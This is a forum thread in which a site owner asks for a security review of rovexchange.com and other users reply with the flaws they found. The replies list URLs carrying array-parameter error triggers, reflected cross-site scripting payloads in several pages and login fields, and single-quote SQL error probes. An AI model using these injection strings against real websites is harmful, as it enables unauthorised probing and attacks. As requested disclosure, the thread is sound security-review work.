Site Login / Exploits, Errors ??

[phpinfo()]

http://www.rovexchange.com/wc_maritime_employment.php

 

Any issues with our site. Specifically with the database login - exploits, injections, errors etc.

 

Thanks!

[agentsteal]

Array:

http://www.rovexchange.com/mc_company_listings.php?q[]

 

Array:

http://www.rovexchange.com/mc_eqpt_for_sale.php?equipment_categ=a&q[]

 

Array:

http://www.rovexchange.com/mc_company_listings.php?business_categ[]

 

Array:

http://www.rovexchange.com/mc_eqpt_for_sale.php?equipment_categ[]

 

Array:

http://www.rovexchange.com/mc_eqpt_for_sale.php?q[]

 

Array:

http://www.rovexchange.com/mc_company_listings.php?business_categ=a&q[]

 

Cross Site Scripting:

http://www.rovexchange.com/mc_company_listings.php?business_categ=<marquee><h1>vulnerable</marquee>

 

Cross Site Scripting:

http://www.rovexchange.com/mc_eqpt_for_sale.php?equipment_categ=<marquee><h1>vulnerable</marquee>

 

Cross Site Scripting:

There is Cross Site Scripting when you log in if your password contains ">code.

 

Cross Site Scripting:

There is Cross Site Scripting when you log in if your username contains ">code.

 

Cross Site Scripting:

There is Cross Site Scripting on https://www.rovexchange.com/signup_add_company.php if the fields contain ">code.

 

Cross Site Scripting:

http://www.rovexchange.com/mc_company_listings.php?q="><marquee><h1>vulnerable</marquee>

 

Cross Site Scripting:

http://www.rovexchange.com/mc_company_listings.php?business_categ=a&q=<marquee><h1>vulnerable</marquee>

 

Cross Site Scripting:

http://www.rovexchange.com/mc_eqpt_for_sale.php?equipment_categ=a&q=<marquee><h1>vulnerable</marquee>

 

SQL Error:

http://www.rovexchange.com/mc_company_listings.php?q=a&business_categ='

 

SQL Error:

http://www.rovexchange.com/mc_eqpt_for_sale.php?q=a&equipment_categ='

[Coreye]

Cross Site Scripting:

http://www.rovexchange.com/forgotpasswd.php

There is Cross Site Scripting if you enter a username that contains ">code.